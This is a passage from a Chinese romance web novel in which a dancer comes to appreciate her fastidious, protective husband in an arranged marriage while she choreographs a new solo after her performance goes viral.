这一刻,真正诠释了那句小别胜新婚,两人紊乱的呼吸逐渐同步,全身心沉浸在这个吻里。 不知过了多久。 黎晚棠感觉快濒临窒息时,两人的唇才终于分开。 男人那只劲瘦修长的手臂原本扣在她腕间,不知何时松开,转落在她纤细的腰间上。 黎晚棠微微抬头,两双眼睛就这般四目相对着。 因为男上女下的暧昧姿势,让彼此都有点不自在。 特别是如此近的距离下,能清晰看到彼此脸上的表情,以及被放大的精致五官。 黎晚棠连他每一根睫毛,都看得清清楚楚。 傅砚深回神别回头,手臂从她腰间一点点抽离,单手撑着沙发垫坐起身时,还不忘将蜷缩在角落的女孩拉了起来。 原本躺着的两人,现在直愣愣并排坐着,沉默中谁都没说话,寂静仿佛要把他们吞没。 或许这个吻来得始料不及,又或许比任何一次吻得热烈,他们彼此都还有点不适应。 最后还是黎晚棠按捺不住,舔唇问道:“你……不着急走了吗?” “着急。” 傅砚深倏地站起身,慌乱走了两步,又忽而回头拾起放在茶几上的眼镜,戴好后,他低声解释:“客厅有点乱,我其实是想过来整理。” 现在不用他解释,黎晚棠也已经弄清楚原委。 最开始,确实是她误会了。 但转念一想,他们是夫妻,而且又不是第一次接吻,两人真什么好尴尬的。 “嗯,是有点乱。” 黎晚棠弯腰捡起掉在地毯上的抱枕,侧身重新摆好:“我不知道你今晚会突然回来,就还来不及收拾。” 如果知道他要回来,她保证收拾得干干净净。 “没关系,以后收拾家务这样的事交给我。” 傅砚深俯身又开始收拾,见她要起身,忙道:“不用你动手,坐着就行。” “……” 他都这么说了,黎晚棠真就坐着没动。 盯着傅砚深把屋里整整齐齐收拾干净,准备要走时,她才猛然站了起来:“你是要走了吗?” 傅砚深走到玄关,低头去换鞋:“嗯,我不在家,你不要乱叫外卖,人的本性不会写在脸上。” 在机场候机室,他无意听到别人聊天说起,有些外卖员看到是女孩开门,而且还是独居女孩,就起了色心,趁其不备冲进室内,将人侵犯。 黎晚棠平时在家喜欢穿着清凉,防范意识又不强。 再者,她长得太耀眼,他需要特别提醒。 黎晚棠:“……” 她还没弱智到,一点警惕性都没有。 知道他是关心自己,黎晚棠没反驳,老实点头:“嗯,知道了。” 换好鞋,傅砚深偏头看她:“不许再偷偷吃甜食。” “……” 黎晚棠内心挣扎了几秒,还是点头:“嗯,不吃了。” 算了,看在他来回奔波的情况下,她忍。 见她乖乖点头,傅砚深这才转身往门外走。 黎晚棠快步跟了上去,本想适当表现一下她贤妻的形象时,男人忽而回头。 “比赛虽然结束了,但你膝盖还是不能过度用力,还需好好休养。” 傅砚深黑眸在她脸上扫了眼,提议道:“这边没人照顾你,如果时间允许,在我出差期间,你可以回家住。” 有人照顾她,他也比较放心。 听到这话,黎晚棠下意识仰头看他,刚扬起的嘴角又落了回去。 这人还有完没完了! 穿衣吃饭睡觉全管,他是不是觉得把她捆绑在他身上才放心! 只是对上男人认真且带着几分担心的神情,黎晚棠又硬生生的忍了下来。 再忍忍吧,忍忍是健康的桥梁。 片刻,她艰难扯唇:“嗯,我会合理安排训练时间,明天就搬回家住。”- 终于把这尊大佛送走,黎晚棠深吸口气,懒洋洋地把自己摔进沙发里。 她眼睛盯着天花板,暗暗回想。 自从她跟傅砚深同居后,不仅脾气变好了,还学会了什么叫听话。 不是不能反驳,而是反驳无效,严重点,可能还会免费上一次教育课。 毕业多年,她可不想重回学生时代,更不想回忆那段,让傅砚深帮她补课的日子。 简直是不堪回首,苦不堪言。 这时,手机响了两声,黎晚棠以为是傅砚深阴魂不散,走了还要叮嘱她注意事项。 点开屏幕,发现是叶知薇发来的一段视频。 是她今晚比赛跳的那支舞,叶知薇应该是用固定器拍摄的,没有任何晃动感,画面也很清晰。 前半部内容很正常,到了后半部分,镜头逐渐偏离,最后画面里出现了宋阿姨的背影。 仔细听,她好像是在斥责傅砚深,说要他包揽家务活,而且他作为老公,还得让老婆开心,他性格沉闷死板,不会说话就少说点。 光听语气,都能想象宋阿姨脸上的嫌弃。 黎晚棠来回看了两遍,最后没忍住笑了起来。 之前就听傅砚深说过,宋阿姨生气会骂他,原因全是因为她。 如今终于真相了。 难怪他说收拾屋子这事以后交给他,原来是宋阿姨给他下达了死命令。 傅砚深走之前说的那些不愉快的事,因为这段视频,她的坏心情一扫而空。 紧接着,叶知薇的电话就打了过来:“怎么样,这种场面你也没见过吧。” 黎晚棠勾唇:“嗯,我以前也不知道,宋阿姨会那么嫌弃傅砚深。” 对于他们而言,傅砚深是父母口中从小夸到大的好孩子,她确实没想到宋阿姨会如此嫌弃他。 “哈哈哈,我当时听到这番话,嘴角都要笑酸了。” 叶知薇捂嘴大笑几声后,又正色道:“不过傅砚深当时的态度蛮不错,答应得也挺真诚。” 可惜后半部分她没录上。 话题聊到这,叶知薇忽然想到什么,忙问:“哎呀,这个点我是不是打扰你们了?” 不等黎晚棠说话,她就要着急忙慌挂电话:“你们该干嘛干嘛,我挂——” “没有,他是出差临时回来的,这会儿已经走了。” 黎晚棠及时打断她的话,以防她自行脑补。 “啊,你说傅砚深是特意赶回来看比赛的。”叶知薇惊诧:“所以落地没几个小时,他又要急急忙忙赶回去?” 黎晚棠翻了个身,点头:“嗯,你思路清晰,表达得很完整。” 叶知薇啧啧几声,轻声感慨:“棠棠,看来你真是嫁对人了。” 现实生活中,可没有几个男人能做到傅砚深那样,把自己妻子放在第一位。 如果他只是出于丈夫的责任,她怎么越看越不信了呢。 这头,黎晚棠也因叶知薇这番话陷入沉思。 其实傅砚深能赶回来,她确实很意外。忽略掉性格,傅砚深其他方面真挑不出毛病。 刚开始对于他的管束,以及古板沉闷的性格,甚至他严重的洁癖和强迫症,她会嗤之以鼻,甚至是讨厌。 可真正相处下来,他的这些生活习惯对她好像并没有太大的影响,反而有些习惯成了很好的引导。 就好比这次膝盖旧伤复发,如果没有他固执已见的监督,以及细心照顾,今晚这个冠军不会属于她。 半晌,黎晚棠望着天花板,漫不经心地出声:“嗯,或许是嫁对了吧。” 先不说两人有没有感情,就傅砚深对待这段婚姻的态度及责任。 作为丈夫而言,非常合格。 “啧啧啧,你现在终于承认人家的好了。” 叶知薇意味深长地调侃:“等着吧,你哪天把人吃到嘴里,就彻底离不开了。” 傅砚深这种绝色美男,能有那个女人能拒绝。 她敢打包票,黎晚棠吃过绝对会上瘾。 说到吃,黎晚棠骤然想起临走前,傅砚深把她压着沙发上激吻的场景,缠绵而炙热。 现在细细回想,她才后知后觉发现了一个问题,就是傅砚深每次动情吻她的时候,好像都会摘掉鼻梁上的眼镜。 也就那一刻,他仿佛变了个人,情绪也会变得更加热烈。 叶知薇见人半天不说话,惊呼道:“姐妹,你不会已经吃上了吧!” “大晚上,你能不能聊点健康话题。” 黎晚棠怕这人扯个没完,快速从沙发上坐起身,疾步往卧室走:“今晚好累,我要去卸妆洗澡了,拜拜!” 没给叶知薇说话的机会,黎晚棠快速挂掉电话,直接冲进衣帽间,等人停在全身镜前,发现自己的脸已经红成了苹果。 她晃了晃脑袋,用力甩掉那个让人脸红心跳的画面- 次日,黎晚棠一路走进舞蹈团,看到她的人纷纷说着恭喜。 她弯唇回应,说中午请大家喝咖啡。 换好衣服去往排练厅,正在拉伸的同事回过头看她,嘴里同样说着恭喜的话。 黎晚棠依旧笑笑,说中午请大家喝咖啡。 白露晞一溜烟跑了过来,挽上她的胳膊,低声询问:“晚晚,你看没看网上的消息。” 黎晚棠不慌不忙把水杯放在一旁,扭头问:“没有,怎么了?” 昨晚她倒头就睡,没时间上网冲浪。 “哎呀,你火了!” 白露晞兴奋不已,激动坏了:“就你昨晚跳的那支舞蹈,视频播放量突破百万,不少网友都在讨论你这支舞的分解动作。” “啊?” 黎晚棠有些诧异,昨晚只是他们舞蹈团的内部比赛,怎么还能火到网上去呢。 难道就是因为那场实时直播? “看来你真是什么都不知道。”白露晞见她愣怔的模样,挑眉轻笑:“团长很早就过来找你了,说是你来了就去一趟她办公室。” 黎晚棠心不在焉地点头,转身时拿过手机,边走边低头去查看网上的消息。 果不其然,刚打开微博,她昨晚跳的那支舞蹈视频率先弹了出来,她低头细看了眼,此时的播放量已经达到一百五十多万。 短短十几个小时里,就有着翻天覆地的变化。 黎晚棠暗暗惊叹网络的传播力,随即又点开评论区,就里面的一个话题就有两万人在讨论。 有网友夸她长相漂亮,说她九头身比例,人美舞美。 她特意找出几条点赞高的评论看。 【姐姐,你也太会跳了,每个动作都超有力量。】 【哇,她站在屏风前,画面瞬间有了灵魂!】 【宝,你这颜值和身材,简直是老天爷赏饭吃!】 【啊啊啊,小姐姐你这身材颜值,不做模特简直是浪费天赋!】 黎晚棠看完这几条,瞬间把她逗笑了。 现在这些网友真会夸人,虽然大多数是在讨论她的颜值和身材,但能被大家喜欢,她内心还是挺高兴的。 走到办公室门口,黎晚棠收起手机,抬手敲门。 听到敲门声,苏清快步过来开门,看到门外站着的黎晚棠,喜笑颜开地把人请了进去。 “猜到我这次找你的目的吗?”苏清笑问。 黎晚棠微微扯唇:“不太清楚。” 她确实不知道团长叫她过来是要说什么,是昨晚拿奖,还是今早爆火的视频? 或许两者都有。 苏清笑着给她倒了杯水,两人落坐在沙发:“今早团领导开了个紧急会议,会议内容是针对你舞蹈视频在网上爆火的事。” 黎晚棠捧着手杯,静静听着,没着急出声。 她知道,团长后面还有话要说。 “你这段舞蹈视频爆火,让更多人看到你的舞蹈魅力,也得到很多人的喜爱。” 苏清也没卖关子,直接说:“所以团里一致认为,在你这段舞蹈的原基础上,添加新的舞蹈元素,将你这支舞打造成为经典,就像《踏歌》那样的剧目,能在业内永流传。” 听完这番话,黎晚棠握住杯子的指尖倏地收紧,她表面看似平静,内心早已心潮澎湃。 这不就是她想要的机会吗。 黎晚棠低头喝了口水,极力压制住心底的激动,抿唇淡定问:“我想知道,新元素的舞蹈创作,我是否能参与其中。” 她不希望自己只是个被团里操纵的傀儡,或是听话的人偶,她需要参与创作,只有那样,这支舞才能有灵魂。 “当然,团领导也是看中了你的创作能力,新的舞蹈元素你是主创。” 苏清知道她的顾虑,语气肯定道:“当然,林编导老师也会参与,但一切遵从你的灵感想法。” 黎晚棠低头深吸一口气,终于弯唇笑了:“团长,我接受团里的安排。” 苏清看了眼黎晚棠嘴角的笑容,沉默了会儿,又道:“目前团里接到不少商业合作,也有文旅局的邀请,你现在除了舞团的日常演出,这段时间可能会比较辛苦。” 黎晚棠嘴角笑意因这句话微敛了几分,团里能出资要她自己创排作品,肯定是有利可图,商业合作自然是少不了。 如果作品反应热烈,估计后续还有团里安排的巡演。 但这些也是她的工作范围,她没权利说不。 想明白这点,黎晚棠点头:“嗯,我会合理安排好排练时间。” 苏清轻松地笑了:“也要注意休息。” 这突如其来的爆火,改变了她原本的休息计划。 唯一值得庆幸的是,前段时间他们巡演结束,她能有更多的时间来做创排。 所以这两天,她除了日常的剧目排练,剩余时间就会钻研新的舞蹈动作,想着怎么去优化这支舞。 从傅砚深那晚走后,第二天她就搬回家住了,家里有阿姨和父母,很多事不用她亲力亲为。 晚上在家排练,沈听荷也会在一旁陪着她,给她纠正错误舞步,给予正确的引导。 舞蹈团给她出资创排这支舞蹈的事,沈听荷知道,也觉得这是一个很好的发展机会,不仅能提高她的知名度,也能更好展示她的舞蹈才华。 所以对于黎晚棠排练的事情,沈听荷也比较上心。 黎晚棠练到什么时候,她就陪到什么时候,完全是用实际行动来支持她。 在家这几天,她和傅砚深没有任何联系,可能是回到自己家,她内心得到了释放和满足,而且每天都忙着练舞,压根想不起他来。 这样的生活节奏,紧凑的过了四天,黎晚棠这晚排练完,实在忍不住,偷偷从冰箱翻出一盒冰淇淋。 这几天她运动量大,偶尔吃点甜食不会对体脂有影响,沈听荷由着她,转身上楼去洗澡。 只是在楼道拐弯时,碰到急匆匆下楼的黎智海,她忙拽住他胳膊,低声问:“干嘛去?” “棠棠刚排练完,身体还属于高代谢的状态,吃凉的会引发肠胃不适或血管剧烈收缩,这样对她身体健康不好。” 黎智海满脸担忧,侧身又要迈步下楼,胳膊却被沈听荷死死拽住不放:“棠棠都那么大了,她自己有分寸,你赶紧跟我回房去,我腰好像扭到了。” “啊,怎么那么不小心啊,走走走,回房间我帮你看看。”黎智海的注意力瞬间被转移。 沈听荷瞥了眼扶着她的男人,弯唇轻笑。 真是女儿奴,关心过头了。 黎晚棠不知母亲帮她成功拦截父亲夺食,坐在沙发上,悠哉悠哉吃着手里的冰淇淋。 哈密瓜口味的,甜度和清香味她都很喜欢。 没有傅砚深在旁边唠叨,她吃得格外舒畅。 只是在她专心致志吃冰淇淋时,完全没注意到门铃响了,是住家阿姨跑去开的门。 直到玄关传来轻微的对话声,黎晚棠吃冰淇淋的动作微顿,隐隐觉得这道声音有点熟悉。 男人音色低沉而平淡,语调跟傅砚深的有点像。 她心里咯噔一下,心想这么晚了,不可能是傅砚深吧? 就当她疑惑时,傅砚深那张不苟言笑的脸出现在她面前,黎晚棠猛然睁大双眸,慌忙地站了起来。 起身时,瞥见手里还拿着没吃完的冰淇淋,她情急之下只能顺手塞进舞裙衬里,冰凉的触感,让她忍不住一哆嗦。 待人走近,她面色强装淡定,弯唇笑问:“你出差回来了?” 来得太不及时了! “嗯,过来接你回家。” 傅砚深目光不动声色从女孩脸上扫过,而后下移,落在她身上穿的舞裙上。 此时女孩站姿僵硬,看起来很不自然,行为举止也与平常差距有点大,他皱眉问:“不舒服?” “没有啊,刚排练完,有点累而已。”黎晚棠尽量放轻松。 只是这话刚落,两人戴在腕上的运动手表,不合时宜地响了起来。 滴滴滴的报警声,在寂静的客厅里格外清脆。 傅砚深垂眸看了眼,眉头微皱,抬头正要询问黎晚棠,就见地毯上出现一滩融化的冰淇淋。 往下滴的源头,正是黎晚棠大腿外侧。 “……” 黎晚棠顺着傅砚深的目光僵硬低头,瞧见地毯留下的奶油渍,忙把衬裙里的冰淇淋拿出来,而后羞愧地狠狠闭上眼。 这一刻,她登时有了溘然长逝的想法。 不仅被人抓包,行为还很丢脸。 傅砚深平静地看着女孩脸上的表情变化,片刻,他缓缓转身,去找领他进门的阿姨。 黎晚棠在他转身那一刻,就悄悄睁开了眼睛,本以为他是气走了,可没过一会儿,他拿着毛巾和热敷袋走了回来。 能理解毛巾是给她擦大腿用的,可多出来的热敷袋,他是打算干嘛? 黎晚棠忍着尴尬,问:“……你拿热敷袋干嘛?” 因为她练舞蹈,所以家里常备有这些东西。 傅砚深把毛巾递给黎晚棠,等她擦拭干净后,弯腰一把将人抱起。 黎晚棠茫然抬眸,身体在悬空的那一瞬,下意识勾住他的脖子,不清楚这人要做什么,想到父母都在家,羞涩地去拍他肩膀:“你快放我下来,我爸妈还在家呢。” 沈老师他们下来要是看到这一幕,多难为情。 傅砚深不为所动,把人放坐在沙发后,接着蹲下身,将热敷袋贴在她双膝之上。 “根据冰淇淋熔点计算,你膝盖旧伤正在复发。” 第24章 膝盖的温热让黎晚棠身体忽僵,她机械般垂头,从这个角度看不到傅砚深的脸,只能隐约看见他侧脸轮廓,唯有那双小心翼翼手,一点点收紧热敷袋的力道。 与此同时,是他那句直言不讳砸下来的话。 ——根据冰淇淋的熔点计算,你膝盖旧伤正在复发。 所以,这就是他为什么要拿热敷袋的原因。 黎晚棠原本心底缀满的那点不悦,似乎瞬间因为他这句话而一扫而空。 反倒,还感到一丝愧疚。 出差前他叮嘱的事,在他回来的第一时间,还是把注意力放在她膝盖上。 而她这位当事人却是好了伤疤忘了疼,不仅没按时休息,还偷偷吃冰淇淋。 开始还埋怨他出现得不及时,才导致她下意识把冰淇淋藏进舞裙里。 “我……”黎晚棠从唇间挤出一个字,便再也说不出口。 实际上,她不知道该说什么。 傅砚深帮黎晚棠绑好热敷袋,单手调试好温度,抬头看她:“这个热度可以吗?” 黎晚棠眨眼,轻轻点头:“嗯,可以。” 听到她的回答,傅砚深将遥控器放在一旁,缓缓站起身,视线又落在女孩脸上:“这几天,你是不是没有好好休息?” 如果不是她排练强度大,手表也不会在这个时候报警。 “我想休息,但是工作上出现的一些变动,而且时间紧迫,我现在还不能休。” 黎晚棠仿如被成功驯服的三好学生,把比赛后发生的事情完完整整跟他说一遍,抬头,试探问:“所以,你…能理解吗?” 除了财经和金融新闻,网上的信息他一般不怎么关注,加上这几日一直在忙融资项目的事,她比赛的那支舞蹈在网上爆火,他确实不知情。 “这也不是你强行排练的理由。” 事关她膝盖的事,傅砚深原则性很强。 “……” 黎晚棠撇嘴,她都好声好气跟他解释了,他依旧是那般不近人情。 就在此刻,原本安静的客厅忽然响起两道轻微的低笑声,接着就有脚步声从楼梯间传来。 两人同时抬头,就看见黎智海扶着沈听荷的腰下楼。 “这几天你不能再陪着棠棠排练了,你现在可不是二十几岁的年纪,不能瞎跳。” 沈听荷推他的手:“哎呀,我心里有数。” 黎智海还想说些什么,余光瞥见客厅里站着的人,忽而弯唇:“砚深,你出差回来了。” 傅砚深礼貌颔首:“黎叔,沈姨,这么晚还过来,打扰了。” “一家人,说什么打扰。” 沈听荷见女儿和女婿都盯着他们看,悄悄用力推开黎智海放她腰上不肯松开的手,而后笑走了过去。 只是瞧见黎晚棠膝盖上的热敷袋,她笑容秒收:“棠棠,你膝盖这是又疼了?” 黎晚棠下意识去看傅砚深,忙朝他挤眉弄眼,意思别跟她爸妈说旧伤复发的事。 傅砚深接收到黎晚棠传达的意思,主动解释:“她刚排练完就吃冰淇淋,我怕她膝盖会有影响。” 他停顿了下,视线落在她膝盖上:“这也算是,提前预防。” 黎晚棠轻轻扯唇,很满意他这个回答。 偷偷给他一个表扬的眼色。 “怪我,就该拦着她点,运动完不该吃那么凉的东西。” 沈听荷边说,边侧眸打量眉来眼去的小两口,眉眼含笑地问:“砚深,你现在过来,是要接棠棠回去吗?” 傅砚深点头:“嗯,是有这个打算。” 不过需要看黎晚棠自己的意思,如果她还想在家待两天,他也不勉强。 “哦,那我这就上楼去洗澡。”黎晚棠站起身,上楼时回头说道:“你等我一会儿,很快。” 膝盖的事在家容易暴露,而且刚才父母的对话她也听到了,沈老师为了陪她排练,身体有点吃不消。 沈听荷见女儿如此迫不及待,嘴角笑意更浓,看来他们小两口的感情是越来越好了,她这个做母亲的心里也高兴。 黎智海没有沈听荷那么细心,邀请傅砚深落坐后,聊起工作上的事。 他们聊的话题沈听荷也听不懂,索性转身上楼,等黎晚棠洗澡出来,敲门进屋,想帮她收拾东西。 “今晚有砚深在,你这次多带些东西回去。” 沈听荷叉腰在她卧室巡视一圈:“我看你好多生活用品都没拿走。” 黎晚棠正在吹头发,闻言点头:“嗯,我等会儿收拾。” “不用你,你说要带些什么,我帮你收拾。” 沈听荷见她经常抱着睡觉的布偶没拿走,偏头问:“这个丑娃娃要拿吗?” 黎晚棠回头看了眼,噗嗤笑了:“妈,它叫拉布布,这么可爱,哪里丑了。” 沈听荷低笑了声:“你们年轻人喜欢的东西,我可欣赏不来。” 黎晚棠弯唇没争辩,说要带些衣服和鞋子,以及一些书籍,沈听荷闻言,都一一帮她装好。 收拾完毕,黎晚棠也正好吹干头发,此时正在涂抹水乳。 沈听荷推着行李箱走到她身旁,低头透过镜头看她,笑问:“你现在和砚深的感情怎么样?” “还那样。”黎晚棠轻拍脸上的水乳,漫不经心道。 沈听荷笑容秒收:“别敷衍我,具体点。” 黎晚棠动作微停,从镜中抬头看向沈听荷,嘴角轻勾:“沈老师,你指的是哪方面呀?” “你这孩子。” 沈听荷嗔她一眼,随即又被她这话气笑:“当然是你们感情上的进展,我看砚深还蛮在乎你的。” 傅砚深刚出差回来就过来接她,膝盖的事他们做父母的没考虑到,他先预防上了。 这就足以证明他对棠棠的在乎。 黎晚棠把头发随意扎成个高丸子,起身后,侧身倚靠在梳妆台旁,垂眸似笑非笑地盯着沈听荷:“妈,你什么时候,也变成情感专家了。” “就这点事,还需要成情感专家才能看出来,你别忘了,我跟你爸可是自由恋爱,有些事我懂。” 沈听荷顿了下,语重深长道:“或许你们的婚姻最开始不是自愿的,但妈妈能看得出来,砚深对你是用心了。” 类似的话,黎晚棠这两天听得挺多的,叶知薇和白露晞都提到过。 现在轮到她母亲。 黎晚棠垂眸,也开始认真思考起这个问题。 只是余光瞥见盯着自己看的沈听荷,她忽而笑道:“哎呀,我们相处得真的挺好的,你就别操心了。” 随即,她接过沈听荷手里的行李箱,搭着她的肩膀往外走:“我们下去吧,别让人等着急了。” 傅砚深看到黎晚棠手里拿着的行李箱,倏地站起身,快步上前接过:“给我吧。” 黎晚棠愣了下,而后下意识去看身旁的沈听荷,见她嘴角扬起抹意味不明的笑,她松开手的同时,无奈扯唇。 傅砚深这番举动,更加验证沈老师的猜想。 也让她看明白事情的本质。 傅砚深做事一向如此,很有责任感和担当,如果他的妻子不是她,他也会这么做。 这种优待,仅限于是他的妻子,跟情感无关。 沈听荷夫妻俩将他们送到前院门口,司机瞥见外面的动静,忙下车拉开车门等待。 傅砚深朝两人点头:“黎叔,沈姨,就送到这吧,到家会给你们报平安。” 沈听荷点头,又低声叮嘱黎晚棠几句排练的事,目送两人离开。 看到傅砚深绅士扶着车门,等黎晚棠弯腰坐好,他才绕到另一头上车。 沈听荷望着逐渐驶离的车尾灯,轻声感慨:“听砚深叫我那么多年的沈姨,今晚他喊的这两声,我听着是真别扭,啥时候,他能改口叫我妈呀。” 黎智海听到妻子这副感慨的语气,笑道:“反正他们都领证了,随时都能改口,你要着急就跟徽音商量商量,明天两家人吃饭,顺便让这两孩子正式改口。” 闻言,沈听荷忽地抬头看着黎智海,几秒后,激动地一把抱住他:“老黎,你今晚总算说了句我爱听的话。” “想听好话还不简单。”黎智海忽然弯下腰,笑着将人打横抱起:“走,回房我说给你听。” 沈听荷忙勾住他脖子,下意识偏头打量,好在没看到有邻居出来,这才羞赧把头埋在他胸膛上- 回到臻品豪庭,黎晚棠换上拖鞋,转身就往客厅走。 傅砚深看了眼女孩背影,俯身换鞋时,顺便把她不对齐的鞋子重新摆好,看着一目了然,这才推着行李箱往里走。 他一手推着一个,淡绿色的行李箱是她的。 黎晚棠走了几步才想起她带过来的行李箱,回头,就见傅砚深已经走在她身后。 “我自己来吧。”她抬手就要去拿,男人却侧身避开:“说了,家里这些事不用你。” 黎晚棠抿抿唇,没坚持,任由他推进衣帽间。 收拾行李这种事肯定不能交给他,傅砚深松手后,她夺了过来,低头开始整理。 速度很快,生怕他说要帮忙。 将衣服挂好,黎晚棠转身准备出去时,余光瞥见男人挂好他自己的衣服后,又挪步到她那侧,重新帮她排列衣服颜色。 “……” 黎晚棠嘴角微抽,心想她已经很整齐地挂上去了,这人还是看不顺眼。 这是强迫症又犯了? 既然他不嫌麻烦,黎晚棠懒得管,抱着其他物品来到卧室。 她先把要看的书籍放床头柜,而后将抱在怀里的拉布布随手丢床上。 没过多久,傅砚深拿着睡衣走出,转身进了浴室。 黎晚棠瞥了眼浴室方向,躺下后侧身压着拉布布,拿起之前没看完的小说。 看了好几页,床垫忽然传来动静,她偏头看了眼,是傅砚深洗好澡出来了。 见时间不早,她放下手里的小说,丢掉怀里的拉布布,穿上拖鞋进入浴室。 之前在家洗过澡,但还没刷牙,她必须刷完牙才能入睡。 只是等她回来,原本斜躺着的拉布布,此刻已板板正正躺在她睡的这一头。 而她身旁男人早已摘掉眼镜,双手交叉放在腹部,平躺着。 黎晚棠收回视线,轻撇了下嘴角。 一个抱枕都不放过,他的强迫症到底是有多严重。 黎晚棠掀开被子上床,躺下去时,故意把拉布布摆成三十七度角,横在两人中间。 傅砚深见她躺好,抬手准备关灯时,余光不经意瞥见横在两人中间的布偶,他沉默了会儿,又重新摆正。 黎晚棠一直关注着他的动态,见他再次摆好,她故意侧身弄歪布偶:“好困,关灯睡觉吧。” 怕他看出自己是故意的,她还佯装犯困地捂了捂嘴。 傅砚深目光从斜躺的布偶上收回,看了眼犯困的女孩,抑制住要摆正的冲动,抬手关灯。 灯光熄灭,卧室瞬间陷入黑暗。 傅砚深刚躺好,就听到耳边传来一道细微的轻笑声。 他眉头微皱,回想女孩刚刚的行为,再配合这道笑声,顿时明白些什么。 傅砚深盯着黑暗沉默了几秒,忽而侧身,扯掉横在两人中间的布偶,大手一伸,直接把女孩捞了过来。 “好玩吗?”他垂眸看着怀里的人,低声问。 黎晚棠身体突然被转了个身,接着就撞进男人滚烫的胸膛,她还没反应过来,那句“好玩吗”落入耳廓。 一时间,她愣着没动。 原来这人看出来了,所以他这是在生气? 尽管如此,黎晚棠还是打算继续装傻:“嗯?” 傅砚深低头,下巴只差半寸就能抵住她发顶:“故意挑战我的底线。” “没有,这个拉布布是我今天刚带过来的,还不知道放哪。” 黎晚棠全然没反应过来,自己还被人抱着。 “只是这样?”傅砚深没揭穿她。 “对呀,我在家习惯抱着它睡觉,我这不是正在寻找合适的抱姿嘛。” 黎晚棠稍稍抬头,虽然看不清他的轮廓,但他那双黑眸倒是看得清楚:“以后床上多了个小伙伴,希望你能适应。” 傅砚深不吱声,没说好,也没说不好。 沉默中,黎晚棠后知后觉反应过来,自己竟然还被男人紧抱着。 她呼吸微收,侧身打算从他怀里离开,腰肢却这时再度被那只大手捞了回去。 “……” 黎晚棠诧异抬眸,紧张得嘴都瓢了:“你、你要干嘛?” 他不是说过不强迫她吗? 今晚这是要破戒! “就这样睡。” 傅砚深忽而抬起一只胳膊,枕在她后颈,意思给她当枕头:“早晚要习惯的。” 她与其抱着布偶,还不如抱着他,两者之间总要习惯一个。 他们现在是夫妻,她总不能去选只没有生命力的布偶,这样会显得他这个丈夫很多余。 扣在腰间的手越发收紧,脑袋也猝不及防枕在男人坚硬的胳膊上,如此亲密的睡姿,她从未有过,也很不适应。 特别是男人身上传递过来的体温,瞬间能把她烤化。 这种亲密程度,似乎比那日压她在沙发接吻,还要贴近。 黎晚棠脸颊此刻正对着男人侧颈,她都不敢用力呼吸,深怕她那点温热被他感知到。 而且这样睡,她今晚肯定会失眠。 思索片刻,她开始找借口:“我觉得这样睡不是很舒服,有点……硌。” 傅砚深问:“什么?” 黎晚棠舔唇,直言道:“你胳膊太硬了,枕着不舒服。” 男朋友用胳膊给女朋友当枕头的事,她以前也听过,当时就在想,那样能睡得舒服吗。 这会儿,她倒是亲身体验到了。 真不舒服。 “那是你还没适应。” 傅砚深缓缓闭上眼,打算就这样睡:“习惯就好。” “……” 黎晚棠无语,还有点后悔今晚把拉布布带回来。 没办法,人家持证上岗,她也不好反驳。 反正睡觉跟感情半毛钱关系都没有,他拥有这个权利。 只是这一夜,注定睡得不安稳。 傅砚深睡得好不好她不清楚,她从起床到舞团,脖子就一直都不舒服。 白露晞见她没事就扭动脖颈,疑惑问:“晚晚,你是不是落枕了?” 黎晚棠转脖子的动作忽顿,不好明说,只能含糊点头:“嗯,应该是。” “落枕一般是跟枕头有关系,你今晚回家赶紧换个枕头吧。” 白露晞说着,还热心推荐:“要不你试试睡眠博士,我目前枕的就是这款,还蛮舒服的。” “……” 她是不是应该说声谢谢,毕竟白露晞还挺热情的。 半晌,黎晚棠扯唇:“好,回去我就把枕头换了。”- 上午日常剧目排练完成,黎晚棠空余时间就会想新的舞蹈动作,怎么优化她这支独舞。 现在傅砚深出差回来了,加上又有手表作为监督,黎晚棠没急功近利,按照之前的排练方法,确保膝盖别出任何问题。 连跳完两个旋转动作,她脑中突然冒出新的灵感,她卡着音拍试跳了两段。 恰好这时编导老师走了进来,没上前打扰,而是安静地站在一旁欣赏了会儿。 等人彻底停下来,她才笑着上前:“这段飞跃旋转,你是想加入这个节拍吗?” 黎晚棠闻声回头,看到是编导老师,微微颔首:“林编导,你刚刚是看到了?” “嗯,你这个舞蹈元素还不错,难怪团长要你自己做创排。” 林编导点评完,说出自己的想法:“不过我建议这段速度可以加快,爆发力和控制结合好,能像燕子那般轻盈敏捷,才体现出这段舞蹈的灵动感。” 黎晚棠眼眸忽亮,弯唇道:“那我重新试试。” 新的舞蹈动作需要不断磨合,跟着音乐节拍反复练习,确保动作和旋律同步。 整个下午黎晚棠都在磨合练习,在林编导的帮助下,这段新的身韵逐渐成型。 创作的时候她有点忘我,若不是林编导提醒她休息,估计会一直练个不停。 在喝水的空隙,她拿过手机看了眼,屏幕上显示傅砚深的两个未接电话,她调静音了,并未听着。 看了眼时间,已经过了下班点,想到今晚两家人一起吃饭,黎晚棠忙盖上水杯,收拾东西出了排练厅。 快速洗了个澡,她换上衣服急匆匆走出舞团,果然在门口看到了傅砚深熟悉的身影。 或许是他出现过太多次,从最开始有同事停下脚步窃窃私语讨论他的外貌,甚至还有同事偷拍。 到现在,居然有同事大大方方跟他打招呼,男人脸上虽然没有过多表情,却还是很礼貌性地轻轻点头。 这时,有进来的同事跟她打招呼,嗓音洪亮:“晚棠,你老公又来接你下班了。” 这话直接把背对着她的男人吸引回头,黎晚棠微垂下眼睫,扯唇:“嗯,我先走了。” 她朝同事笑笑,快步来到傅砚深身旁:“你什么时候到的?” 傅砚深垂眸扫了眼她素净的面容,实话实说:“给你打第一通电话的时候。” 说话间,他注意到女孩外套的衣领没翻下来,看着极其不平整,指尖动了动,最后没忍住抬手。 黎晚棠见她突然伸出手,表情愣了下,下意识往后躲:“……干嘛呢?” “你衣领没整理好。”傅砚深解释完,俯身靠近,偏头继续帮她整理。 男人靠近的那一瞬,他身上那股淡淡的沉香扑鼻,指腹不小心触碰到她颈侧皮肤,灼热感像电流般划过。 黎晚棠捏住背包带的手忽地收紧,连呼吸都不自觉放轻了些许。 知道这人有强迫症,但在他们舞团门口,两人这般靠近,她多少有点不自在。 好在这会儿没有经过的同事,等他整理完起身,她快速跟他拉开些许距离。 黎晚棠深吸口气,径直转身往停车场的方向走,见人跟了上来,转移话题道:“记得你以前时间观念挺强的,这次等我那么久,就没有一句怨言。” 还以为他会直接给她上一课,告诉她什么叫时间的珍贵。 但他一句严厉的话都没说。 傅砚深微微侧头,看她的眼神直白且坦诚:“对方是你,我可以等。” 